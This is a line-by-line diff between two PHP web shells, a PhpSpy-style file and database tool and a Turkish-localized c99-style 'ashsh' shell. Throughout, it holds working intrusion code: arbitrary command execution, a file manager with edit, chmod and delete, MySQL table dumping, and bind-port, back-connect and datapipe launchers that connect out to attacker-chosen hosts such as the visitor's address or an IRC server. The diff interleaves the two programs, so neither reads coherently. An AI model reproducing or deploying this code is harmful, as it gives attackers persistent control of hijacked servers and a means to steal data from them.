3784 | + | $act = "ls"; |
3785 | ||
3786 | - | $dirdata[$j]['dirperm']=getPerms($f); |
3786 | + | } |
3787 | ||
3788 | - | $dirdata[$j]['dirlink']=$dir; |
3788 | + | |
3789 | ||
3790 | - | $dirdata[$j]['server_link']=$f; |
3790 | + | if ($act == "cmd") |
3791 | ||
3792 | - | $j++; |
3792 | + | { |
3793 | ||
3794 | - | } |
3794 | + | if (trim($cmd) == "ps -aux") {$act = "processes";} |
3795 | ||
3796 | - | GetWDirList($f); |
3796 | + | elseif (trim($cmd) == "tasklist") {$act = "processes";} |
3797 | ||
3798 | - | } |
3798 | + | else |
3799 | ||
3800 | - | } |
3800 | + | { |
3801 | ||
3802 | - | closedir($dh); |
3802 | + | @chdir($chdir); |
3803 | ||
3804 | - | clearstatcache(); |
3804 | + | if (!empty($submit)) |
3805 | ||
3806 | - | return $dirdata; |
3806 | + | { |
3807 | ||
3808 | - | } else { |
3808 | + | echo "<b>Ugulamanin Sonuclari</b>:<br>"; |
3809 | ||
3810 | - | return array(); |
3810 | + | $olddir = realpath("."); |
3811 | ||
3812 | - | } |
3812 | + | @chdir($d); |
3813 | ||
3814 | $ret = myshellexec($cmd); | |
3815 | ||
3816 | $ret = convert_cyr_string($ret,"d","w"); | |
3817 | ||
3818 | - | function GetWFileList($dir){ |
3818 | + | if ($cmd_txt) |
3819 | ||
3820 | - | global $filedata,$j,$nowpath, $writabledb; |
3820 | + | { |
3821 | ||
3822 | - | !$j && $j=1; |
3822 | + | $rows = count(explode("\r\n",$ret))+1; |
3823 | ||
3824 | - | if ($dh = opendir($dir)) { |
3824 | + | if ($rows < 10) {$rows = 10;} |
3825 | ||
3826 | - | while ($file = readdir($dh)) { |
3826 | + | echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; |
3827 | ||
3828 | - | $ext = getext($file); |
3828 | + | } |
3829 | ||
3830 | - | $f=str_replace('//','/',$dir.'/'.$file); |
3830 | + | else {echo $ret."<br>";} |
3831 | ||
3832 | - | if($file!='.' && $file!='..' && is_dir($f)){ |
3832 | + | @chdir($olddir); |
3833 | ||
3834 | - | GetWFileList($f); |
3834 | + | } |
3835 | ||
3836 | - | } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){ |
3836 | + | else {echo "<b>Uygulama Yonet </b>"; if (empty($cmd_txt)) {$cmd_txt = true;}} |
3837 | ||
3838 | - | if (is_writable($f)) { |
3838 | + | echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Tamam\"> Metni Alan icinde goster <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; |
3839 | ||
3840 | - | $filedata[$j]['filename']=str_replace($nowpath,'',$f); |
3840 | + | |
3841 | ||
3842 | - | $filedata[$j]['size']=sizecount(@filesize($f)); |
3842 | + | |
3843 | ||
3844 | - | $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); |
3844 | + | if ($act == "ls") |
3845 | ||
3846 | - | $filedata[$j]['filechmod']=getChmod($f); |
3846 | + | { |
3847 | ||
3848 | - | $filedata[$j]['fileperm']=getPerms($f); |
3848 | + | if (count($ls_arr) > 0) {$list = $ls_arr;} |
3849 | ||
3850 | - | $filedata[$j]['fileowner']=getUser($f); |
3850 | + | else |
3851 | ||
3852 | - | $filedata[$j]['dirlink']=$dir; |
3852 | + | { |
3853 | ||
3854 | - | $filedata[$j]['server_link']=$f; |
3854 | + | $list = array(); |
3855 | ||
3856 | - | $j++; |
3856 | + | if ($h = @opendir($d)) |
3857 | ||
3858 | - | } |
3858 | + | { |
3859 | ||
3860 | - | } |
3860 | + | while (($o = readdir($h)) !== false) {$list[] = $d.$o;} |
3861 | ||
3862 | - | } |
3862 | + | closedir($h); |
3863 | ||
3864 | - | closedir($dh); |
3864 | + | } |
3865 | ||
3866 | - | clearstatcache(); |
3866 | + | else {} |
3867 | ||
3868 | - | return $filedata; |
3868 | + | } |
3869 | ||
3870 | - | } else { |
3870 | + | if (count($list) == 0) {echo "<center><b>Klasor Acilamiyor. (".htmlspecialchars($d).")!</b></center>";} |
3871 | ||
3872 | - | return array(); |
3872 | + | else |
3873 | ||
3874 | - | } |
3874 | + | { |
3875 | ||
3876 | //Building array | |
3877 | ||
3878 | $objects = array(); | |
3879 | ||
3880 | - | function GetSFileList($dir, $content, $re = 0) { |
3880 | + | $vd = "f"; //Viewing mode |
3881 | ||
3882 | - | global $filedata,$j,$nowpath, $writabledb; |
3882 | + | if ($vd == "f") |
3883 | ||
3884 | - | !$j && $j=1; |
3884 | + | { |
3885 | ||
3886 | - | if ($dh = opendir($dir)) { |
3886 | + | $objects["head"] = array(); |
3887 | ||
3888 | - | while ($file = readdir($dh)) { |
3888 | + | $objects["folders"] = array(); |
3889 | ||
3890 | - | $ext = getext($file); |
3890 | + | $objects["links"] = array(); |
3891 | ||
3892 | - | $f=str_replace('//','/',$dir.'/'.$file); |
3892 | + | $objects["files"] = array(); |
3893 | ||
3894 | - | if($file!='.' && $file!='..' && is_dir($f)){ |
3894 | + | foreach ($list as $v) |
3895 | ||
3896 | - | GetSFileList($f, $content, $re = 0); |
3896 | + | { |
3897 | ||
3898 | - | } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){ |
3898 | + | $o = basename($v); |
3899 | ||
3900 | - | $find = 0; |
3900 | + | $row = array(); |
3901 | ||
3902 | - | if ($re) { |
3902 | + | if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} |
3903 | ||
3904 | - | if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){ |
3904 | + | elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} |
3905 | ||
3906 | - | $find = 1; |
3906 | + | elseif (is_dir($v)) |
3907 | ||
3908 | - | } |
3908 | + | { |
3909 | ||
3910 | - | } else { |
3910 | + | if (is_link($v)) {$type = "LINK";} |
3911 | ||
3912 | - | if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) { |
3912 | + | else {$type = "DIR";} |
3913 | ||
3914 | - | $find = 1; |
3914 | + | $row[] = $v; |
3915 | ||
3916 | - | } |
3916 | + | $row[] = $type; |
3917 | ||
3918 | - | } |
3918 | + | |
3919 | ||
3920 | - | if ($find) { |
3920 | + | elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} |
3921 | ||
3922 | - | $filedata[$j]['filename']=str_replace($nowpath,'',$f); |
3922 | + | $row[] = filemtime($v); |
3923 | ||
3924 | - | $filedata[$j]['size']=sizecount(@filesize($f)); |
3924 | + | if (!$win) |
3925 | ||
3926 | - | $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); |
3926 | + | { |
3927 | ||
3928 | - | $filedata[$j]['filechmod']=getChmod($f); |
3928 | + | $ow = posix_getpwuid(fileowner($v)); |
3929 | ||
3930 | - | $filedata[$j]['fileperm']=getPerms($f); |
3930 | + | $gr = posix_getgrgid(filegroup($v)); |
3931 | ||
3932 | - | $filedata[$j]['fileowner']=getUser($f); |
3932 | + | $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); |
3933 | ||
3934 | - | $filedata[$j]['dirlink']=$dir; |
3934 | + | |
3935 | ||
3936 | - | $filedata[$j]['server_link']=$f; |
3936 | + | $row[] = fileperms($v); |
3937 | ||
3938 | - | $j++; |
3938 | + | if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} |
3939 | ||
3940 | - | } |
3940 | + | elseif (is_link($v)) {$objects["links"][] = $row;} |
3941 | ||
3942 | - | } |
3942 | + | elseif (is_dir($v)) {$objects["folders"][] = $row;} |
3943 | ||
3944 | - | } |
3944 | + | elseif (is_file($v)) {$objects["files"][] = $row;} |
3945 | ||
3946 | - | closedir($dh); |
3946 | + | $i++; |
3947 | ||
3948 | - | clearstatcache(); |
3948 | + | } |
3949 | ||
3950 | - | return $filedata; |
3950 | + | $row = array(); |
3951 | ||
3952 | - | } else { |
3952 | + | $row[] = "<b>Isim</b>"; |
3953 | ||
3954 | - | return array(); |
3954 | + | $row[] = "<b>Boyut</b>"; |
3955 | ||
3956 | - | } |
3956 | + | $row[] = "<b>Degistirme</b>"; |
3957 | ||
3958 | if (!$win) | |
3959 | ||
3960 | {$row[] = "<b>Sahip/Grup</b>";} | |
3961 | ||
3962 | - | function qy($sql) { |
3962 | + | $row[] = "<b>Permissions(Yetki)</b>"; |
3963 | ||
3964 | - | global $mysqllink; |
3964 | + | $row[] = "<b>Oznitelik</b>"; |
3965 | ||
3966 | - | //echo $sql.'<br>'; |
3966 | + | $parsesort = parsesort($sort); |
3967 | ||
3968 | - | $res = $error = ''; |
3968 | + | $sort = $parsesort[0].$parsesort[1]; |
3969 | ||
3970 | - | if(!$res = @mysql_query($sql,$mysqllink)) { |
3970 | + | $k = $parsesort[0]; |
3971 | ||
3972 | - | return 0; |
3972 | + | if ($parsesort[1] != "a") {$parsesort[1] = "d";} |
3973 | ||
3974 | - | } else if(is_resource($res)) { |
3974 | + | $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; |
3975 | ||
3976 | - | return 1; |
3976 | + | $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; |
3977 | ||
3978 | - | } else { |
3978 | + | $row[$k] .= $y; |
3979 | ||
3980 | - | return 2; |
3980 | + | for($i=0;$i<count($row)-1;$i++) |
3981 | ||
3982 | - | } |
3982 | + | { |
3983 | ||
3984 | - | return 0; |
3984 | + | if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} |
3985 | ||
3986 | } | |
3987 | ||
3988 | $v = $parsesort[0]; | |
3989 | ||
3990 | - | function q($sql) { |
3990 | + | usort($objects["folders"], "tabsort"); |
3991 | ||
3992 | - | global $mysqllink; |
3992 | + | usort($objects["links"], "tabsort"); |
3993 | ||
3994 | - | return @mysql_query($sql,$mysqllink); |
3994 | + | usort($objects["files"], "tabsort"); |
3995 | ||
3996 | if ($parsesort[1] == "d") | |
3997 | ||
3998 | { | |
3999 | ||
4000 | - | function fr($qy){ |
4000 | + | $objects["folders"] = array_reverse($objects["folders"]); |
4001 | ||
4002 | - | mysql_free_result($qy); |
4002 | + | $objects["files"] = array_reverse($objects["files"]); |
4003 | ||
4004 | } | |
4005 | ||
4006 | $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); | |
4007 | ||
4008 | $tab = array(); | |
4009 | ||
4010 | $tab["cols"] = array($row); | |
4011 | ||
4012 | $tab["head"] = array(); | |
4013 | ||
4014 | $tab["folders"] = array(); | |
4015 | ||
4016 | $tab["links"] = array(); | |
4017 | ||
4018 | $tab["files"] = array(); | |
4019 | ||
4020 | $i = 0; | |
4021 | ||
4022 | - | } |
4022 | + | foreach ($objects as $a) |
4023 | ||
4024 | { | |
4025 | ||
4026 | - | function sizecount($fileSize) { |
4026 | + | $v = $a[0]; |
4027 | ||
4028 | - | $size = sprintf("%u", $fileSize); |
4028 | + | $o = basename($v); |
4029 | ||
4030 | - | if($size == 0) { |
4030 | + | $dir = dirname($v); |
4031 | ||
4032 | - | return '0 Bytes' ; |
4032 | + | if ($disp_fullpath) {$disppath = $v;} |
4033 | ||
4034 | - | } |
4034 | + | else {$disppath = $o;} |
4035 | ||
4036 | - | $sizename = array(' Bytes', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB'); |
4036 | + | $disppath = str2mini($disppath,60); |
4037 | ||
4038 | - | return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i]; |
4038 | + | if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} |
4039 | ||
4040 | elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} | |
4041 | ||
4042 | - | // ????? |
4042 | + | foreach ($regxp_highlight as $r) |
4043 | ||
4044 | - | function sqldumptable($table, $fp=0) { |
4044 | + | { |
4045 | ||
4046 | - | global $mysqllink; |
4046 | + | if (ereg($r[0],$o)) |
4047 | ||
4048 | { | |
4049 | ||
4050 | - | $tabledump = "DROP TABLE IF EXISTS `$table`;\n"; |
4050 | + | if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Uyari! Konfigirasyon i?inde hata \$regxp_highlight[".$k."][0] - Bilinmeyen Komut."; ashshexit();} |
4051 | ||
4052 | - | $res = q("SHOW CREATE TABLE $table"); |
4052 | + | else |
4053 | ||
4054 | - | $create = mysql_fetch_row($res); |
4054 | + | { |
4055 | ||
4056 | - | $tabledump .= $create[1].";\n\n"; |
4056 | + | $r[1] = round($r[1]); |
4057 | ||
4058 | $isdir = is_dir($v); | |
4059 | ||
4060 | - | if ($fp) { |
4060 | + | if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) |
4061 | ||
4062 | - | fwrite($fp,$tabledump); |
4062 | + | { |
4063 | ||
4064 | - | } else { |
4064 | + | if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} |
4065 | ||
4066 | - | echo $tabledump; |
4066 | + | $disppath = $r[2].$disppath.$r[3]; |
4067 | ||
4068 | - | } |
4068 | + | if ($r[4]) {break;} |
4069 | ||
4070 | - | $tabledump = ''; |
4070 | + | } |
4071 | ||
4072 | - | $rows = q("SELECT * FROM $table"); |
4072 | + | } |
4073 | ||
4074 | - | while ($row = mysql_fetch_assoc($rows)) { |
4074 | + | } |
4075 | ||
4076 | - | foreach($row as $k=>$v) { |
4076 | + | |
4077 | ||
4078 | - | $row[$k] = "'".@mysql_real_escape_string($v)."'"; |
4078 | + | $uo = urlencode($o); |
4079 | ||
4080 | - | } |
4080 | + | $ud = urlencode($dir); |
4081 | ||
4082 | - | $tabledump = 'INSERT INTO `'.$table.'` VALUES ('.implode(", ", $row).');'."\n"; |
4082 | + | $uv = urlencode($v); |
4083 | ||
4084 | - | if ($fp) { |
4084 | + | $row = array(); |
4085 | ||
4086 | - | fwrite($fp,$tabledump); |
4086 | + | if ($o == ".") |
4087 | ||
4088 | - | } else { |
4088 | + | { |
4089 | ||
4090 | - | echo $tabledump; |
4090 | + | $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; |
4091 | ||
4092 | - | } |
4092 | + | $row[] = "LINK"; |
4093 | ||
4094 | - | } |
4094 | + | |
4095 | ||
4096 | - | fwrite($fp,"\n\n"); |
4096 | + | elseif ($o == "..") |
4097 | ||
4098 | - | fr($rows); |
4098 | + | { |
4099 | ||
4100 | $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; | |
4101 | ||
4102 | $row[] = "LINK"; | |
4103 | ||
4104 | - | function p($str){ |
4104 | + | |
4105 | ||
4106 | - | echo $str."\n"; |
4106 | + | elseif (is_dir($v)) |
4107 | ||
4108 | { | |
4109 | ||
4110 | if (is_link($v)) | |
4111 | ||
4112 | - | function tbhead() { |
4112 | + | { |
4113 | ||
4114 | - | p('<table width="100%" border="0" cellpadding="4" cellspacing="0">'); |
4114 | + | $disppath .= " => ".readlink($v); |
4115 | ||
4116 | $type = "LINK"; | |
4117 | ||
4118 | - | function tbfoot(){ |
4118 | + | $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; |
4119 | ||
4120 | - | p('</table>'); |
4120 | + | } |
4121 | ||
4122 | else | |
4123 | ||
4124 | { | |
4125 | ||
4126 | - | function makehide($name,$value=''){ |
4126 | + | $type = "DIR"; |
4127 | ||
4128 | - | p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />"); |
4128 | + | $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; |
4129 | ||
4130 | } | |
4131 | ||
4132 | $row[] = $type; | |
4133 | ||
4134 | - | function makeinput($arg = array()){ |
4134 | + | |
4135 | ||
4136 | - | $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; |
4136 | + | elseif(is_file($v)) |
4137 | ||
4138 | - | $arg['extra'] = $arg['extra'] ? $arg['extra'] : ''; |
4138 | + | { |
4139 | ||
4140 | - | !$arg['type'] && $arg['type'] = 'text'; |
4140 | + | $ext = explode(".",$o); |
4141 | ||
4142 | - | $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : ''; |
4142 | + | $c = count($ext)-1; |
4143 | ||
4144 | - | $arg['class'] = $arg['class'] ? $arg['class'] : 'input'; |
4144 | + | $ext = $ext[$c]; |
4145 | ||
4146 | - | if ($arg['newline']) { |
4146 | + | $ext = strtolower($ext); |
4147 | ||
4148 | - | p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>"); |
4148 | + | $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> <a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; |
4149 | ||
4150 | - | } else { |
4150 | + | $row[] = view_size($a[1]); |
4151 | ||
4152 | - | p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />"); |
4152 | + | |
4153 | ||
4154 | - | } |
4154 | + | $row[] = date("d.m.Y H:i:s",$a[2]); |
4155 | ||
4156 | if (!$win) {$row[] = $a[3];} | |
4157 | ||
4158 | $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; | |
4159 | ||
4160 | - | function makeselect($arg = array()){ |
4160 | + | if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} |
4161 | ||
4162 | - | if ($arg['onchange']) { |
4162 | + | else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} |
4163 | ||
4164 | - | $onchange = 'onchange="'.$arg['onchange'].'"'; |
4164 | + | if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Bilgi\" height=\"16\" width=\"16\" border=\"0\"></a> ".$checkbox;} |
4165 | ||
4166 | - | } |
4166 | + | else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Bilgi\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Degistir\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Indir\" height=\"16\" width=\"19\" border=\"0\"></a> ".$checkbox;} |
4167 | ||
4168 | - | $arg['title'] = $arg['title'] ? $arg['title'] : ''; |
4168 | + | if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} |
4169 | ||
4170 | - | if ($arg['newline']) p('<p>'); |
4170 | + | elseif (is_link($v)) {$tab["links"][] = $row;} |
4171 | ||
4172 | - | p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>"); |
4172 | + | elseif (is_dir($v)) {$tab["folders"][] = $row;} |
4173 | ||
4174 | - | if (is_array($arg['option'])) { |
4174 | + | elseif (is_file($v)) {$tab["files"][] = $row;} |
4175 | ||
4176 | - | if ($arg['nokey']) { |
4176 | + | $i++; |
4177 | ||
4178 | - | foreach ($arg['option'] as $value) { |
4178 | + | } |
4179 | ||
4180 | - | if ($arg['selected']==$value) { |
4180 | + | } |
4181 | ||
4182 | - | p("<option value=\"$value\" selected>$value</option>"); |
4182 | + | //Compiling table |
4183 | ||
4184 | - | } else { |
4184 | + | $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); |
4185 | ||
4186 | - | p("<option value=\"$value\">$value</option>"); |
4186 | + | echo "<center><b>Listelenen (".count($tab["files"])." dosya ve ".(count($tab["folders"])+count($tab["links"]))." klasor):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; |
4187 | ||
4188 | - | } |
4188 | + | foreach($table as $row) |
4189 | ||
4190 | - | } |
4190 | + | { |
4191 | ||
4192 | - | } else { |
4192 | + | echo "<tr>\r\n"; |
4193 | ||
4194 | - | foreach ($arg['option'] as $key=>$value) { |
4194 | + | foreach($row as $v) {echo "<td>".$v."</td>\r\n";} |
4195 | ||
4196 | - | if ($arg['selected']==$key) { |
4196 | + | echo "</tr>\r\n"; |
4197 | ||
4198 | - | p("<option value=\"$key\" selected>$value</option>"); |
4198 | + | } |
4199 | ||
4200 | - | } else { |
4200 | + | echo "</table><hr size=\"1\" noshade><p align=\"right\"> |
4201 | ||
4202 | - | p("<option value=\"$key\">$value</option>"); |
4202 | + | <script> |
4203 | ||
4204 | - | } |
4204 | + | function ls_setcheckboxall(status) |
4205 | ||
4206 | - | } |
4206 | + | { |
4207 | ||
4208 | - | } |
4208 | + | var id = 0; |
4209 | ||
4210 | - | } |
4210 | + | var num = ".(count($table)-2)."; |
4211 | ||
4212 | - | p("</select>"); |
4212 | + | while (id <= num) |
4213 | ||
4214 | - | if ($arg['newline']) p('</p>'); |
4214 | + | { |
4215 | ||
4216 | document.getElementById('actbox'+id).checked = status; | |
4217 | ||
4218 | - | function formhead($arg = array()) { |
4218 | + | id++; |
4219 | ||
4220 | - | global $self; |
4220 | + | } |
4221 | ||
4222 | - | !$arg['method'] && $arg['method'] = 'post'; |
4222 | + | } |
4223 | ||
4224 | - | !$arg['action'] && $arg['action'] = $self; |
4224 | + | function ls_reverse_all() |
4225 | ||
4226 | - | $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; |
4226 | + | { |
4227 | ||
4228 | - | !$arg['name'] && $arg['name'] = 'form1'; |
4228 | + | var id = 0; |
4229 | ||
4230 | - | p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>"); |
4230 | + | var num = ".(count($table)-2)."; |
4231 | ||
4232 | - | if ($arg['title']) { |
4232 | + | while (id <= num) |
4233 | ||
4234 | - | p('<h2>'.$arg['title'].' »</h2>'); |
4234 | + | { |
4235 | ||
4236 | - | } |
4236 | + | document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; |
4237 | ||
4238 | id++; | |
4239 | ||
4240 | } | |
4241 | ||
4242 | - | function maketext($arg = array()){ |
4242 | + | } |
4243 | ||
4244 | - | !$arg['cols'] && $arg['cols'] = 100; |
4244 | + | </script> |
4245 | ||
4246 | - | !$arg['rows'] && $arg['rows'] = 25; |
4246 | + | <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Hepsini Sec\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Hepsini Sec(ME)\"> |
4247 | ||
4248 | - | $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : ''; |
4248 | + | <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; |
4249 | ||
4250 | - | p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>"); |
4250 | + | if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) |
4251 | ||
4252 | { | |
4253 | ||
4254 | echo "<input type=submit name=actarcbuff value=\"Pack, arsivi korur\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Yapistir\"> <input type=submit name=\"actemptybuff\" value=\"Bos tampon\"> "; | |
4255 | ||
4256 | - | function formfooter($name = ''){ |
4256 | + | } |
4257 | ||
4258 | - | !$name && $name = 'submit'; |
4258 | + | echo "<select name=act><option value=\"".$act."\">(Secin):</option>"; |
4259 | ||
4260 | - | p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>'); |
4260 | + | echo "<option value=delete".($dspact == "delete"?" selected":"").">SiL</option>"; |
4261 | ||
4262 | - | p('</form>'); |
4262 | + | echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Mod Degistir</option>"; |
4263 | ||
4264 | if ($usefsbuff) | |
4265 | ||
4266 | { | |
4267 | ||
4268 | - | function goback(){ |
4268 | + | echo "<option value=cut".($dspact == "cut"?" selected":"").">KES</option>"; |
4269 | ||
4270 | - | global $self, $nowpath; |
4270 | + | echo "<option value=copy".($dspact == "copy"?" selected":"").">KOPYALA</option>"; |
4271 | ||
4272 | - | p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>'); |
4272 | + | echo "<option value=unselect".($dspact == "unselect"?" selected":"").">SECME(Unselect)</option>"; |
4273 | ||
4274 | } | |
4275 | ||
4276 | echo "</select> <input type=submit value=\"OK!\"></p>"; | |
4277 | ||
4278 | - | function formfoot(){ |
4278 | + | echo "</form>"; |
4279 | ||
4280 | - | p('</form>'); |
4280 | + | } |
4281 | ||
4282 | } | |
4283 | ||
4284 | if ($act == "tools") | |
4285 | ||
4286 | - | function encode_pass($pass) { |
4286 | + | { |
4287 | ||
4288 | - | $pass = md5('angel'.$pass); |
4288 | + | $bndportsrcs = array( |
4289 | ||
4290 | - | $pass = md5($pass.'angel'); |
4290 | + | "ashsh_bindport.pl"=>array("PERL Kullan","perl %path %port"), |
4291 | ||
4292 | - | $pass = md5('angel'.$pass.'angel'); |
4292 | + | "ashsh_bindport.c"=>array("C Kullan","%path %port %pass") |
4293 | ||
4294 | - | return $pass; |
4294 | + | ); |
4295 | ||
4296 | $bcsrcs = array( | |
4297 | ||
4298 | "ashsh_backconn.pl"=>array("PERL Kullan","perl %path %host %port"), | |
4299 | ||
4300 | - | function pr($s){ |
4300 | + | "ashsh_backconn.c"=>array("C Kullan","%path %host %port") |
4301 | ||
4302 | - | echo "<pre>".print_r($s).'</pre>'; |
4302 | + | ); |
4303 | ||
4304 | $dpsrcs = array( | |
4305 | ||
4306 | - | ?> |
4306 | + | "ashsh_datapipe.pl"=>array("PERL Kullan","perl %path %localport %remotehost %remoteport"), |
4307 | ||
4308 | "ashsh_datapipe.c"=>array("C Kullan","%path %localport %remoteport %remotehost") | |
4309 | ||
4310 | ); | |
4311 | ||
4312 | if (!is_array($bind)) {$bind = array();} | |
4313 | ||
4314 | if (!is_array($bc)) {$bc = array();} | |
4315 | ||
4316 | if (!is_array($datapipe)) {$datapipe = array();} | |
4317 | ||
4318 | ||
4319 | ||
4320 | if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} | |
4321 | ||
4322 | if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} | |
4323 | ||
4324 | ||
4325 | ||
4326 | if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} | |
4327 | ||
4328 | if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} | |
4329 | ||
4330 | ||
4331 | ||
4332 | if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} | |
4333 | ||
4334 | if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} | |
4335 | ||
4336 | if (!empty($bindsubmit)) | |
4337 | ||
4338 | { | |
4339 | ||
4340 | echo "<b>Port Baglanti sonucu:</b><br>"; | |
4341 | ||
4342 | $v = $bndportsrcs[$bind["src"]]; | |
4343 | ||
4344 | if (empty($v)) {echo "Unknown file!<br>";} | |
4345 | ||
4346 | elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port Kullaniliyor,diger port Seciniz!<br>";} | |
4347 | ||
4348 | else | |
4349 | ||
4350 | { | |
4351 | ||
4352 | $w = explode(".",$bind["src"]); | |
4353 | ||
4354 | $ext = $w[count($w)-1]; | |
4355 | ||
4356 | unset($w[count($w)-1]); | |
4357 | ||
4358 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; | |
4359 | ||
4360 | $binpath = $tmpdir.join(".",$w).rand(0,999); | |
4361 | ||
4362 | if ($ext == "pl") {$binpath = $srcpath;} | |
4363 | ||
